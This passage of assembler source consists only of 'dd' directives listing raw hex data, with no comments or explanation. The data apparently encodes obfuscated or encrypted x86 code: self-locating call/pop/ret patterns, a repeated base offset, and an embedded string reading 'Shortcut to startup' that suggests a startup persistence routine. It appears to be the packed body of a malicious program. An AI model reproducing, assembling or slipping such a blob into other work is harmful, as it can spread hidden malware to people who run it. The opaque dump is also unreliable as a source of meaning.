31BD8Bh dd 5959064Dh, 0F0234FFh, 28Dh, 5EF88B00h, 2165B501h, 0EE81064Dh dd 5B730701h, 10E960h, 0EC520000h, 17CA55E1h, 0EDB797E5h dd 83B52DFAh, 81619C7Fh, 6433AFEEh, 0FE815h, 0E00A0000h dd 0A0B04A92h, 4DC1C350h, 0BDE674D7h, 0FDB9BF41h, 815F093Bh dd 0D97E98EEh, 0E9BD8B35h, 89064D1Fh, 0B5091034h, 64D322Dh dd 81CA8B66h, 94DB60EAh, 25858902h, 81064D30h, 94DB5CC2h dd 0D8B70F02h, 9AF4FA81h, 850FFFFFh, 0FFFFFF78h, 0DE9h dd 0F820EA00h, 2A027882h, 0A8BE291Ch, 8D8D1F23h, 6523752h dd 0B81BD8Bh, 0B58B064Dh, 64D0C39h, 5998D89h, 6A064Dh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 23CB8DC3h, 49837FD0h, 0ADB589DFh, 0C7064D17h, 4D051D85h dd 736806h, 10E900h, 25C10000h, 2B235447h, 6170E2AFh, 0CA9C5C27h dd 85C73D28h, 64D02E9h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0E3C35646h dd 29B5FFB1h, 8B064D32h, 4D26199Dh, 5595FF06h, 9064D2Eh dd 4D2C69BDh, 0FF006A06h, 4D051195h, 0EBC08B06h, 0B991390Ah dd 0FB47C250h, 0E818B5A0h, 11h, 0CD1320CBh, 5848DA32h dd 0C4D8B71Ch, 560CB026h, 0FD9D013Dh, 5E064D26h, 1AED8529h dd 0C681064Dh, 68D8h, 95E18166h, 1A0FBF89h, 85890000h dd 64D1875h, 0E956068Bh, 13h, 0AEE13742h, 5245466Eh, 91323AD6h dd 7F2F957Ch, 592142E8h, 0BBABE881h, 8B6675DFh, 87E881D6h dd 8951F5DDh, 4D28158Dh, 93F08106h, 0E938FDFDh, 5, 9A3A6EDAh dd 29068929h, 4D143595h, 4EE8306h, 17CD9D89h, 0F4F064Dh dd 0FFFFA785h, 0EE9FFh, 1C8F0000h, 4B48635Ch, 0D89017CFh dd 7E10F687h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h dd 0A90B3363h, 982633A9h, 5E265AF1h, 0D500D6EFh, 0B44E6033h dd 67A5E4FFh, 0D52D1AF8h, 4FA3BEA0h, 67206326h, 0A9A3BA79h dd 1B207ED8h, 0D50796D7h, 1D293333h, 98263383h, 0A030B6C0h dd 157635F4h, 0CA1E3BD6h, 0DD963AFh, 9E6B3FE5h, 98266483h dd 15235935h, 0CA1E2B1Fh, 1DAB634Bh, 9E740BAEh, 3DB3CC03h dd 93207E83h, 0A1A23C14h, 1526336Ah, 0CA1E2BB0h, 0AACE639Ch dd 0D826334Dh, 86A3BEF6h, 0C820616Bh, 0A03EB624h, 67763586h dd 0D52572FFh, 94E2B033h, 0A03EB617h, 1576351Fh, 0CA1E3B23h dd 0DD96355h, 9E6B3F98h, 9826513Dh, 74AD666Ah, 0CE746464h dd 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch dd 13EF002Bh, 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h dd 5AAD63E8h, 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h dd 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h dd 0C6E7B856h, 517F6C8Eh, 152637A8h, 0CA1E3588h, 0A3ABBE9Ch dd 20206174h, 93h, 71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h dd 8DFFFFFFh, 52393BB5h, 5A8D8D06h, 2B065239h, 5E983CFh dd 13E8C88Bh, 51000000h, 54BE3DCFh, 0E6A2BA88h, 3B3BA683h dd 867B7B3Eh, 0B70F5E97h, 95895ED0h, 64D30C5h, 6A94C681h dd 0E7800000h, 1A7068F0h, 0AE80000h, 0FA000000h, 8F6C6AB5h dd 9601C489h, 5BEFB3C7h, 0C3BF0F59h, 5FF936FFh, 0F230BB66h dd 0AEB1EF81h, 8D016954h, 64D0A45h, 0AC00C781h, 9D8916DFh dd 64D2009h, 0B48DC781h, 0C08106E7h, 699D9B30h, 0E3816657h dd 68F703Ch, 13E9h, 0B7373800h, 0C25F640Dh, 33DC1A8Ch dd 47894075h, 0B2C4EC8h, 0F04EE83h, 0E83h, 9E900h, 0B70000h dd 0B785CA53h, 81D56DCBh, 1E9h, 18850F00h, 81000000h, 0A24769EBh dd 1DE91Ah, 0D4620000h, 4A47EBAEh, 572685D3h, 1D10159h dd 4D23E585h, 0FF6EE906h, 3E48FFFFh, 8D1F276Ah, 523B158Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 289C1ACCh, 4A84758Fh, 0E78AA872h, 998D89F5h dd 0F064D05h, 68Ah, 0C9858900h, 0C7064D0Fh, 4D051D85h dd 5E1006h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 2092068Ah, 0BD2DB2D0h, 0B58B4516h dd 64D2DEDh, 2E985C7h, 64Dh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 65C78EC3h dd 0C6C1B866h, 2B05B5FFh, 0FFF8064Dh, 4D2E5595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0B6D34D05h, 9D296D0Dh, 64D0319h, 95FF006Ah, 64D0511h dd 6AEBC08Bh, 3D1A8F27h, 353495DBh, 5D2D5232h, 4763E9B1h dd 7E778AB2h, 79C79277h, 922928E6h, 0C56DD19h, 0D26CFF3Ch dd 0ED9E28C5h, 0EED3E5DBh, 60914E07h, 76675CC0h, 1C3EA262h dd 520168FDh, 0A886A21Ah, 0E5DD4E9Bh, 45E57DE5h, 0FDDA093Fh dd 0E84259C6h, 0A27C082Fh, 0D139C3C8h, 51147EC2h, 7C9921E5h dd 20EFCA5Dh, 4032A357h, 0B920352Ch, 7F1088ADh, 0EA9C6736h dd 10198CB9h, 36AC077Dh, 3018853Fh, 326B0130h, 3283E960h dd 6A600130h, 76A959F3h, 76910514h, 32110514h, 62440130h dd 0CA0ED3F3h, 0B91D9D7Eh, 7FA34C85h, 5BFD8236h, 32264C12h dd 3205853Fh, 0AF830130h, 34492449h, 3203DAD9h, 3204E830h dd 0C3660130h, 0A2DA3615h, 0B9465360h, 62210EEAh, 3D696162h dd 68656101h, 625A5B68h, 32010BD8h, 90F82330h, 0FC739E1Ch dd 6978F2A4h, 3D6CB7A0h, 0CC2C4D31h, 0DA54015Ah, 32020133h dd 6AC25910h, 36A445B9h, 366445B1h, 32200129h, 54D35170h dd 0B326CA12h, 326E59DAh, 3201E962h, 68210130h, 66095BF3h dd 76C10514h, 323D0514h, 60520130h, 6F0179F3h, 0B5C19AC5h dd 1991CAADh, 7F28D485h, 0A73D8836h, 0B1464C25h, 324A2DF0h dd 3213E967h, 6D280130h, 4E8D5EF3h, 76830514h, 32140514h dd 65C70130h, 61A209F3h, 0B9288A6Ah, 7F31A885h, 7A836736h dd 0D7B988CCh, 54044C1Dh, 0CD3738B1h, 3236853Fh, 322A0130h dd 3223E960h, 6A300130h, 768159F3h, 76850514h, 32150514h dd 62410130h, 63D5DFF3h, 3FCC0E84h, 0DB200130h, 32100138h dd 0E07DD473h, 0ECBE0D64h, 390BC0B3h, 7F2F44ADh, 0DBB98136h dd 328E843Fh, 0A7A90130h, 345D338Dh, 0B90940BBh, 7F35C48Dh dd 58CA0236h, 31E95130h, 12800130h, 0BB18C268h, 0B3242574h dd 26142574h, 72080130h, 0B968C260h, 7F098085h, 37C08236h dd 0DAD0015Ah, 32400133h, 6AE35910h, 363445B9h, 362C45B1h dd 3204012Ch, 0DEC15170h, 0B87184FDh, 63FDF83Dh, 1BF19413h dd 0BA1077Dh, 0B9534AA0h, 326A843Fh, 878F0130h, 344F3231h dd 7FE48CBDh, 32EA077Dh, 3243E966h, 6C000130h, 46995FF3h dd 76890514h, 321C0514h, 64440130h, 4B957DF3h, 3DD698D5h dd 324001B7h, 31985B30h, 58100130h, 31E05330h, 12040130h dd 0BB58C26Ah, 0B3052564h, 25842574h, 70400130h, 0F216C262h dd 0AF11F0E2h, 34452205h, 0E18FE0CFh, 0E8DABE51h, 8F8C33ECh dd 34D23AB4h, 0F988CBDh, 46980762h, 11193B3h, 7F213CB5h dd 0F3CB2A36h, 0B92003D9h, 7F1088ADh, 0EA9C6736h, 10198CB9h dd 36AC077Dh, 3018853Fh, 0E9830130h, 8BA4F305h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 64F81297h, 85950398h, 0F064D06h, 682h, 0C1858900h, 8B064D26h dd 4D1535B5h, 0ABC38B06h, 0D099DDBh, 0F25A9DB2h, 2299C691h dd 0B87EC138h, 5A7ED930h, 2F5A9DA8h, 0D999CEF2h, 0DB83FFC6h dd 0E55274EAh, 8BEF9DB1h, 0CDB896D5h, 0B7B3DC8Ah, 285A9DB1h dd 6F29B7D2h, 52F3FF16h, 0BD1A30Ch, 0E55A1EBEh, 4FD99DB1h dd 7F178668h, 3F53E8B1h, 135A8C0Ch, 362E9DB7h, 57D1CEE1h dd 0CB5E9E09h, 90DF14B1h, 7F5CD094h, 36ED882Ch, 0E78962B7h dd 4FE71EE9h, 2F5CD0B1h, 0C40A8AC5h, 0CB5E9E09h, 90DF14B1h dd 7F5CD094h, 36EE992Ch, 0E78962B7h, 0B5AF7E9h, 2F5A9E59h dd 5407BDB1h, 0EF3614ECh, 0C11E1CB5h, 0F25A8AB5h, 0BA0FD8B1h dd 6BF69C0Bh, 0B60D9DDBh, 2F5A9DB2h, 0C899C291h, 0CF7EE138h dd 0E17ED930h, 0F25A9DA4h, 0B299CAF6h, 55CF14C8h, 0D55CD0AEh dd 76EF1471h, 0F15CD0A5h, 0CB30453Dh, 0E55975E0h dd 0AB7A9DB1h, 35D3C472h, 0F8DB9995h, 5E419995h, 7E1B9DB1h dd 0AC1D1F72h, 0E76C5C5Bh, 34D71662h, 795CD09Bh, 3445F43Ch dd 0B35E35B7h, 5E597435h, 3AB1DB1h, 97591CBEh, 2CDA9DB1h dd 8CE71E07h, 0F25CD093h, 797619BEh, 0BC309DB1h, 5E5975E1h dd 777A9DB1h, 0D3D3C572h, 8FDB9995h, 0E5419995h, 0A21A9DB1h dd 0E28CC872h, 0E26E55Dh, 85E59290h, 2F593858h, 97E468B1h dd 0AD589D96h, 0DF396E30h, 7DD2183Ch, 79309BE1h, 0BC5975E1h dd 67A9DB1h, 6BD3C572h, 0D3DB9995h, 0CB439995h, 0B51A9DB1h dd 11F072h, 86E37FDFh, 0EE5AF761h, 5E5A9E59h, 0EC00BDB1h dd 0B30E14EBh, 0EF1E1CB5h, 0E55A88B5h, 3108DFB1h, 0E451F80Ah dd 0BA17BA20h, 7903083Ah, 0EFDF9BFCh, 97C819BEh, 41559DB1h dd 0E55A9DB7h, 0E7DF0098h, 41DB9BFCh, 47DBFBE6h, 5E4F18BEh dd 90559DB1h, 0EFDBFB49h, 0C4589FB5h, 0E559D835h, 0E3E796B1h dd 1F5CD098h, 0DCC6A530h, 5E0018BEh, 2F309DB1h, 975975E2h dd 907A9DB1h, 0B9D3C672h, 0B6DB9995h, 79429995h, 0EF199DB1h dd 0E6BB0472h, 28B37043h, 0B5A9DB1h, 0B02692E1h, 9DDA3160h dd 775575B3h, 795A9D95h, 0A917003Ah, 0DF3C9BFCh, 845A9BC9h dd 974818BEh, 56D19DB1h, 0E3178378h, 0D4B32038h, 0A2B39BFCh dd 445A9DB3h, 5F5B9D0Fh, 7F5AF7F7h, 975A9E59h, 802BDB1h dd 0C11E14E9h, 0D61E1CB5h, 795A86B5h, 7F0ADDB1h, 2C26254Ah dd 0C19DEC2Bh, 0A6B7103Ah, 4ED79BFCh, 0E30A1239h, 1B8B2ABEh dd 795A9DB6h, 1BB1D370h, 0A116BE16h, 7E5AF761h, 975A9E59h dd 803BDB1h, 0C11614E8h, 0D61E1CB5h, 795A81B5h, 7F0BDCB1h dd 0D747F92Ah, 2174D3EBh, 0DAEF1492h, 4E5CD0A3h, 0D2DE9271h dd 0F35A9DB3h, 3476C034h, 39DF14B7h, 0DF5CD0BCh, 2D67FB89h dd 0CBDF92B3h, 0A15A9DB1h, 0E6B2CFB1h, 0D25A9DB1h, 0F0005EEBh dd 3D5EB9E5h, 445EB9F5h, 6D5A9DB1h, 0F59C5EE3h, 0C4CA5923h dd 0CF1A220Dh, 0EBE1DC61h, 0F813DB38h, 813C9BC9h, 0DA55E7EEh dd 2F5A9FA3h, 7F0D9DDBh, 0CB5A9DB2h, 0BA99C291h, 0F67EE138h dd 7D7ED930h, 0BC5A9DA7h, 0B499CAF6h, 0AE3CCB65h, 0F16CCE66h dd 0ABC6A530h, 0E5F018BEh, 733C9DB1h, 0F9950763h, 0B3B29FC9h dd 5E5A0634h, 7D5AF7B1h, 975A9E59h, 800BDB1h, 0C10E14EBh dd 0D61E1CB5h, 795A87B5h, 7F08DFB1h, 0C24DB6DAh, 0A64FC506h dd 0DA450024h, 4DBFBB7h, 643C9174h, 325A9BC9h, 793818BEh dd 0BC309DB1h, 5E5975E3h, 757A9DB1h, 0C3D3C772h, 8FDB9995h dd 0E54F9995h, 0A0189DB1h, 9045B472h, 0BC5A9DA0h, 0B233BFBDh dd 0B5D0EAD7h, 38299A28h, 0D28340ABh, 0E43E743Bh, 0F2309DB1h dd 795975E2h, 0E77A9DB1h, 2D3C672h, 6BDB9995h, 97469995h dd 98199DB1h, 0B9DD5372h, 721A2BCDh, 0FC739624h, 0BA17ACE8h dd 5F5B9D0Fh, 0E7ED92CFh, 18D2183Ch, 0CB309BE1h, 0E55975E1h dd 0AA7A9DB1h, 3DD3C572h, 0F8DB9995h, 5E479995h, 7F1A9DB1h dd 28CA8972h, 9EEC9649h, 83456848h, 22A5523Ah, 769A1844h dd 0BC5A5035h, 0DEA417B1h, 0AA557589h, 975A9DD6h, 230C9DDBh dd 0E55A9DB2h, 0AC99C391h, 7D7EE938h, 0B87ED930h, 5E5A9DACh dd 999CBF7h, 0BBE5B974h, 643A1B9Bh, 0E0221DB0h, 0CADF92C2h dd 0F05A9DB1h, 0F144502Ch, 59221DB7h, 80DE92E2h, 0FD5A9DB1h dd 0C8B2C8B1h, 0C55A9DB1h, 7B075EECh, 0F85EB9DDh, 0A05EB9F5h dd 1B5A9DB1h, 6D0E5EE4h, 0DD5230E4h, 0AD2F022Fh, 8374A30Ah dd 0F7D5A530h, 790A18BEh, 64D19DB1h, 365CE531h, 2F1E18BEh dd 97309DB1h, 0CB5975E1h, 0BD7A9DB1h, 0B6D3C572h, 3DDB9995h dd 0BC419995h, 0E1A9DB1h, 60343472h, 0F4F53F3h, 0F3E3FB4Bh dd 9DDBFB64h, 0FD7F62BAh, 795A8C34h, 0E5CFB4B1h, 0B75CD093h dd 2F5A9D83h, 0B0C72038h, 0B719BFCh, 0C8822BEh, 0F25A9D9Ah dd 910D9DDBh, 0BC5A9DB2h, 199C291h, 2B7EE138h, 937ED930h dd 0CB5A9DABh, 9199CAF6h, 3F34AA18h, 78E2DE6Eh, 0DA5A9DB1h dd 0CEA8590Bh, 4F0A523Ah, 975C14BEh, 4C559DB1h, 0E55A9DB1h dd 67D10DD0h, 7F1790F4h, 826B203Ch, 0D3D79BE3h, 2908DE2Bh dd 0F10FBE09h, 1ADF9EC6h, 0CE5CD0AFh, 0FB35C7Eh, 0CF5F5B9Dh dd 3CE7ED92h, 0E118D218h, 0E1CB309Bh, 0B1E55975h, 72AA7A9Dh dd 0F305E983h, 6A58A4h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 60F13BC3h, 0B6DCB80h, 85840FC0h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 27CFC353h, 0EC42F5EAh, 0CF8A73F1h dd 998D8B60h, 0E9064D2Eh, 12h, 3736DA08h, 0B63C75h, 29D9CD18h dd 704A52D1h, 8D615D99h, 4D4DE5B5h, 9D09FC06h, 64D110Dh dd 3B8h, 8B665300h, 0E6FF5BF8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0DFC35141h, 64FD0041h, 662CD84Fh dd 0CD3BEF81h, 0CDBD2940h, 8B064D25h, 50006AC0h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BD83B3E0h, 64D1BD9h, 83097500h, 4D0011BDh, 19740006h dd 0C08B5350h, 403B8h, 0A5858900h, 8D064D31h, 4FB77C9Dh dd 5BD3FF06h, 11BD8358h, 64D00h, 53501774h, 403B8h, 0A5858900h dd 8D064D31h, 4FB41D9Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0BF0F771Fh dd 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0D93EA5Dh, 3317F168h, 4D32A19Dh, 0F9950106h dd 8B064D04h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 3D64BB52h, 504693B5h, 0CE809h, 5FFA0000h dd 0DA344498h, 8DC89CBAh, 8D2934F0h, 64D2395h, 0EFD9805Fh dd 899D8D61h, 0B8064D26h, 39h, 6E18589h, 0E8064Dh, 58000000h dd 0D05h, 0E9038900h, 39h, 0Eh dup(77E60000h), 9E8FFh dd 576B0000h, 0E4DD47C4h, 66732F19h, 5A9033B8h, 77FADE81h dd 0C2811BE2h, 640Fh, 68F1BF0Fh, 0 dd 5FC18B66h, 38E0Fh, 8B660000h, 1734FFDAh, 0C62C82BBh dd 0C181594Eh, 7549E7A1h, 0ADC181F8h, 0F67ADD1h, 0F181C2BFh dd 26E8FCDCh, 0EE9h, 0DAEE5C00h, 69B9E89Ch, 981E4BE9h dd 518E93BDh, 8B3A048Fh, 0EF81F5C1h, 74069B20h, 81C6B70Fh dd 69B1CC7h, 0C8816674h, 0FF81000Dh, 0FFFF9CA4h, 17850Fh dd 0BF0F0000h, 27E9F2h, 342B0000h, 0C872AA73h, 0FD358133h dd 86683C47h, 0F68166B6h, 86E92546h, 74FFFFFFh, 635E5F90h dd 80C02D2h, 0FA103253h, 98D8D72h, 89065247h, 4D3019BDh dd 998D8906h, 81064D05h, 22415EE7h, 1D85C702h, 44064D05h dd 66000067h, 0D0C0D681h, 2E985C7h, 64Dh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0FF1DDAC3h, 4D2B05B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8B11E190h dd 4D3011BDh, 5595FF06h, 0BA064D2Eh, 4B07A5Ch, 95FF006Ah dd 64D0511h, 6AEBC08Bh, 1F9820CAh, 0FBA76F7Eh, 0AEAE21C0h dd 248CB45Dh, 6C06BC24h, 19CA6F6Bh, 88B479E5h, 5082E01Ah dd 0F2A5B0F5h, 9E853B38h, 2ECFEC20h, 2A7A07Dh, 96A1B64Fh dd 0AF4B68A7h, 0BCBED582h, 8ECC4560h, 6E4890A7h, 3D968738h dd 0FDCBA7FFh, 8020220Dh, 140F78B5h, 124D8AB0h, 0D3959886h dd 6135DDDEh, 6FA28D72h, 83C1A11Bh, 8D8DBAEBh, 6524862h dd 5E9h, 2C82E400h, 85899CFFh, 64D1489h, 5998D89h, 6A064Dh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 89D9EDC3h, 0DDC6393Eh, 3A58589h, 85C7064Dh, 64D051Dh dd 6564h, 85C7F98Bh, 64D02E9h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8AC35646h dd 6810F14h, 8B000000h, 4D2E7DBDh, 55B5FF06h, 6A064D07h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 62DBC353h, 33E21ED5h, 4D240985h, 88B0F06h dd 50000000h, 13DD9589h, 0FF58064Dh, 4D2E5595h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0CA80493Fh, 0FF006A4Eh, 4D051195h, 0EBC08B06h, 0ACF0155Ah dd 1AF25F14h, 0DCB239C2h, 0C5DF3F6Bh, 5EF4CED3h, 0DB9416EAh dd 0E21ED562h, 0AD7C09C9h, 2E454A89h, 5C062CDBh, 38CB444Dh dd 0F0C21B7Ah, 7D309FB3h, 0BAE18B82h, 4CCD5DD1h, 6F139AC4h dd 0DBD7A22h, 0A65B4762h, 5802E683h, 284B13F6h, 5F931CD4h dd 1C5958FBh, 0EBE955E6h, 6F68536Ch, 75637472h, 6F742074h dd 61747320h, 70757472h, 14h dup(0) dd 0C1E38700h, 14Bh, 0EC7E900h, 0D6680000h, 0E906524Ah dd 0FFFBF836h, 524BC568h, 0F82CE906h, 0C768FFFBh, 0E906524Dh dd 0FFFBF822h, 524E0E68h, 0F818E906h, 0C568FFFBh, 0E906524Eh dd 0FFFBF80Eh, 524F5668h, 0F804E906h, 68FFFBh, 0E9065253h dd 0FFFBF7FAh, 52556868h, 0F7F0E906h, 7868FFFBh, 0E9065256h dd 0FFFBF7E6h, 0C7696D2Bh, 0B6588017h, 0A94B8D06h, 993B9BF9h dd 8B2DA9E9h, 5B37BCF2h, 7029D97Bh, 8016C668h, 9104B456h dd 0E038A547h, 43D64CFAh, 6D3AC999h, 0BE0F89Dh, 8D7D3FABh dd 6751870Eh, 66AF9521h, 0A37B5D38h, 2BB56349h, 813292F2h dd 0E23C1638h, 0F22B4EFCh, 0D11ACB92h, 7D55C38Dh, 3F47BE97h dd 0B28A3B99h, 86FA5746h, 26702FE1h, 61B6FFB0h, 3EA5C375h dd 0A30C5E99h, 4B3CFF99h, 318513h, 87C00000h, 91774FBDh dd 993E8DF0h, 0FBE7BC6Dh, 993E8D49h, 1F5992E4h, 134B2061h dd 0D70196C6h, 6D80C902h, 0DEh, 0A7553B95h, 24993E99h dd 9DE52A73h, 0D808E0F8h, 7ACF18BEh, 78B4E44h, 13491ECFh dd 4B815682h, 86EC8E4Ah, 92F192A3h, 0BE60781Dh, 7C51870Eh dd 2DABEC1Ch, 92D61F58h, 633C5DC8h, 0F67F1D50h, 0CCA15203h dd 9E0AE293h, 0EF5C9C29h, 8D734B37h, 92F28BDFh, 0A62AB5Ch dd 3FB0E724h, 0E0B66499h, 336610BDh, 0E899D70Fh, 5CF9537h dd 2253BF97h, 0D60291BDh, 39DEC801h, 247CC584h, 8F87A13Eh dd 5A85F19Fh, 3AE67972h, 29DA054Eh, 65712151h, 577F13C3h dd 7645B79Ch, 0EF409580h, 0C86h, 0FB12573h, 0FEA0385Fh dd 0F193454Eh, 0E1835341h, 0D3756131h, 137F043Ah, 287121C3h dd 385E0EB0h, 494CFC9Eh, 2880ED8Fh, 43D79442h, 0B5821199h dd 3FE1F59Dh, 78603565h, 4494012Fh, 0BD87DBA2h, 0ED1D774Fh dd 0E42DA9h, 993E8D5Fh, 6D6B2EDCh, 0E5B4E4BCh, 9CE51EF3h dd 347BE747h, 18AD5314h, 5C0EF23Bh, 0F7993EAEh, 563244A5h dd 0D9134B01h, 14E9EDA9h, 2F9DF1DBh, 1FE4C7CEh, 0C7C3D6h dd 9DFE0000h, 0D50BE0F8h, 584419BDh, 92F19275h, 250BA6EFh dd 92F19277h, 0F09243F4h, 28D6BC16h, 0A592F192h, 187DABF4h dd 0D59FEBC0h, 6CA98F67h, 0E9993EB8h, 6D09638h, 3666C098h dd 482C7563h, 9F8E6C9Ah, 5E8E6617h, 0E7EFA534h, 66EFD912h dd 0A60089F8h, 67D3AB5Ch, 0E4B14C6Eh, 0D5F740D2h, 0AE696D25h dd 8075A7D3h, 97F7489Dh, 6200000Bh, 4EFEA036h, 3DED8F49h dd 30E08256h, 20D07264h, 29C26472h, 0B42270F3h, 0A1376212h dd 8F474FFFh, 80583DEDh, 331971DEh, 9943D885h, 9DA67302h dd 0D909E1F5h, 286D1BBBh, 59A2DBB0h, 0CA0E8737h, 2D4C2F2h dd 8D96442Ah, 621392F1h, 0ED1DF719h, 756334A5h, 6DB6EFC4h dd 0E0F89D28h, 18C0D50Bh, 51E6B076h, 0F18DBD6Bh, 0D8893A92h dd 0AF0D1A00h, 0DC8A993Eh, 966B1CBAh, 3EAEF8AAh, 0E8419399h dd 4B0132CEh, 18BA13h, 88E20000h, 3EBAF4A2h, 0C9877199h dd 0EC370E02h, 70B5FEAFh, 82682h, 0BD873D00h, 8D944228h dd 601192F1h, 4D7DD7AFh, 83B98E4Ah, 0C811C216h, 3EBBBFE4h dd 5BB50F99h, 3EBBC775h, 2F934499h, 993EBB81h, 8F3A9EFBh dd 0B7B464A5h, 0FAAB254Dh, 0D586B1h, 7E1646A0h, 0E64A8358h dd 993EB138h, 8DBB04B5h, 8CF8D008h, 81133192h, 5D478055h dd 0EF383FCCh, 60781DCDh, 0F7179F8Bh, 5910082h, 598AFCD1h dd 99198C7Fh, 18C0D381h, 9AD32743h, 18EDEBAAh, 99792EDFh dd 63AC2C69h, 25705099h, 6F8A68Ch, 0C4750083h, 0D4C17113h dd 63CF2F04h, 39A20A6Dh, 684C9530h, 8385B7h, 5F79B27Ch dd 0B337682Fh, 82D604E6h, 0C3A8334h, 0FDAD4F89h, 0D88C0798h dd 0B9ED66CBh, 685211EAh, 1FD06F42h, 5B7B1747h, 0F59F4D86h dd 8AD30CE1h, 25944935h, 98640083h, 0B2266F57h, 0A3356010h dd 0DEFB9BCBh, 0F481DBBh, 750895Eh, 2E9C66B2h, 2A0F7056h dd 0DB8C06D0h, 0A9F6B439h, 0B39971DFh, 0D1D50E6h, 76D0B263h dd 69C3F80Ah, 9AD3A830h, 57CFCBB0h, 0FE6B2A0Eh, 5CFEB2Dh dd 29DAFC9Ah, 2A226B51h, 0EE9FF17Bh, 9803CD19h, 22D0B6FBh dd 9FF17B2Ah, 2F683DEEh, 0E5C0A67Eh, 62F7CB9Fh, 0ECA9D9B1h dd 0FB9A4AECh, 0A022D0B6h, 0EE9FF7CBh, 1EB1823Dh, 1267D8B3h dd 995C1h, 0A2346400h, 91475000h, 84543FEFh, 746232E2h dd 667022D2h, 7AF52BC4h, 6C1CBE18h, 5909AB2Dh, 47F7993Dh dd 7BE88A4Eh, 0DA8F3D23h, 7D0C9943h, 0B9F89DB0h, 0F18E25D3h dd 40F1A292h, 0D90DBE85h, 0BA0B6073h, 94Eh, 47E9EDABh dd 36D80097h, 29CB0D86h, 19BB1B79h, 0BAD2969h, 0DBB73C72h dd 0F0A959FBh, 9646E8h, 118434D6h, 60B825C7h, 43DBCC7Ah dd 0EDBA4999h, 0BE0F89Dh, 7719BDD5h, 0A3D334F2h, 5A9EE7EFh dd 644A2290h, 993EB497h, 5B8B6314h, 92CBA038h, 1401E749h dd 785AFC0Eh, 835343AEh, 0BA684EAEh, 375AFC0Dh, 17FDD586h dd 5AFC0D69h, 0AC8435E6h, 49397DC6h, 6861CD61h, 2CACE7E6h dd 97341E57h, 558316E4h, 4D964780h, 0B6644A22h, 33614978h dd 0B0FCD182h, 0BAA078E6h, 6799EEDFh, 0A3D3AB5Ch, 479FE8F0h dd 0B85A7E17h, 904B8D08h, 48816DD3h, 97BB0C61h, 62000008h dd 4EFEA036h, 3DED8F49h, 30E08256h, 20D07264h, 29C26472h dd 0B42270F3h, 0A1376212h, 8F474FFFh, 80583DEDh, 331971DEh dd 9943DB85h, 9DA67302h, 0AB0BE0F8h, 76BF177Bh, 31614E48h dd 649D7266h, 0F18D5200h, 6D1ECF92h, 8E1765CBh, 376792F1h dd 0EA2E775Fh, 0AADAB220h, 0DB14E9EFh, 65543A92h, 0E29943D6h dd 6C295931h, 7B1ACA6Ch, 0D6A25036h, 6E1F9943h, 8AC34784h dd 43F4276Ah, 7C5A386Eh, 0B12571A7h, 2BFD43F6h, 1768BD7Ah dd 806h, 8F31A5F3h, 7E20B8DFh, 7113C5CEh, 6103D3C1h, 53F5E1B1h dd 93FF84BAh, 0A8F1A143h, 0B8DE8E30h, 0C9CC7C1Eh, 0A8006D0Fh dd 43DD14C2h, 35029199h, 0B4E3F89Dh, 65164F24h, 6A2C218Dh dd 8C6B345Fh, 796454A2h, 0E22B6DD1h, 9A3E578Dh, 0DF10DAC5h dd 6A2DAEE7h, 211BBD6Eh, 15065467h, 0DBFD98C8h, 7184CD06h dd 4CFh, 0FFE53F99h, 92F20D51h, 0BB91DCEh, 8592F20Eh, 6E1FCA0Eh dd 0BD87E025h, 5247774Fh, 8BE53D86h, 559E3A5Bh, 43D68271h dd 764EFF99h, 0E7894F46h, 13E85621h, 0B042C427h, 0DC0D5F12h dd 0B891FE9Ah, 8511416Ah, 0FA437C51h, 26E7h, 0BC872200h dd 0E290764Eh, 5F92F18Dh, 7FEDD9AEh, 1AB358EFh, 0BB5567C8h dd 41356146h, 7, 1F1827Ch, 873D0000h, 47774FBDh, 79B2874Fh dd 6BF2D830h, 0E89943D6h, 0A8026237h, 43D714C2h, 97E09199h dd 43D702B3h, 0DD0EDA99h, 0BF9705CFh, 795D3565h, 3E226BA4h dd 9F961FB7h, 0C5138634h, 6406B7F0h, 23F8DEB4h, 5931A5EDh dd 226B6B29h, 0ED3E90CDh, 0B7597D15h, 6E469207h, 29445B3Eh dd 2C306876h, 5BB0F9AAh, 8C647425h, 0F78DD220h, 5CA53A4Bh dd 3778CA07h, 3A9EF525h, 0EE46BB50h, 448D2711h, 0B3558316h dd 9592B54Dh, 6F672F9Fh, 60781DCDh, 